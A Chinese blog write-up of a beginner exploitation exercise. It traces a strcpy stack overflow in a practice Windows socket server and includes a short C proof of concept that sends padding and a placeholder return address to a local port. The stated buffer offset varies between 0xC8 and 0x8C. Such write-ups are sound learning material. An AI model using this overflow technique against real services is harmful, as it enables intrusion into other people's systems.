一个简单的远程溢出漏洞分析

本文分析了一款Windows程序中的远程溢出漏洞,通过详细跟踪程序流程和使用调试工具,确定了漏洞产生的原因在于一个未正确处理边界条件的strcpy函数调用,最终通过构造特定的shellcode成功实现了返回地址的覆盖。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这是看雪Exploit me的题目,本来以为会很难,结果还是很基础的,适合我这样的新手练手。

http://bbs.pediy.com/showthread.php?t=56998

进入正题

首先拿到了一个Windows程序,拖到IDA里打算看一下,结果发现程序逻辑出乎意料的简单。就是一个很常规的SOCKET流程带有一些错误处理。

下面详细说明。

mov ebp,eax

test ebp,ebp

很明显是对socket函数进行错误处理

同样是错误处理,判断accept函数是否执行成功

 

这里就是关键了,因为下面就结束连接了,问题肯定出在这里

跟进这个call

发现这里有复制的行为,F5看一下,原来是个strcpy

同时发现个好玩的地方,这个函数没有建立栈帧,这个函数的确是call进来的不是jmp进来的。

然而却没有栈帧。是通过对esp操作来开辟栈空间和指明返回地址的。

那么这里就可以猜到0xC8就是局部变量距离返回地址的大小。

接下来用OD进行调试。

在RET上下断点,可以得到这样。

分析栈可知,确实是我们上面猜的那样,就是0x8C的大小。

写了一个简单的socket用来发送shellcode

 1 // EXP.cpp : 定义控制台应用程序的入口点。
 2 //
 3 
 4 #include <winsock2.h>
 5 #include "stdafx.h"
 6 #include "windows.h"
 7 #pragma comment(lib, "Ws2_32.lib ")
 8 char shellcode[] =
 9 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
10 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
11 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
12 "AAAAAAAAAAAAAAAAAAAAAA\xCC\xDD\xEE\xFF";
13 int main()
14 {
15     SOCKET MySocket;
16     WSADATA OUTDATA;
17     WSAStartup(MAKEWORD(2, 2), &OUTDATA);
18     MySocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
19     sockaddr_in SocketInfo;
20     SocketInfo.sin_family = AF_INET;
21     SocketInfo.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
22     SocketInfo.sin_port = htons(7777);//7777端口通过对目标的bind的函数分析可以得出
23     if (connect(MySocket,(sockaddr *)&SocketInfo,sizeof(SocketInfo))
24         ==SOCKET_ERROR)
25     {
26         MessageBox(NULL, L"error", L"error", 0);
27     }
28     send(MySocket, shellcode, sizeof(shellcode), 0);
29     return 0;
30 }

结果如下

返回地址被成功覆盖!

本来应该写出shellcode的但是因为不会写。。所以,以后再补全吧,待我再研究研究。

漏洞到这里就已经分析清楚了,就是一个简单的strcpy导致的远程溢出漏洞。

转载于:https://www.cnblogs.com/Ox9A82/p/5260364.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值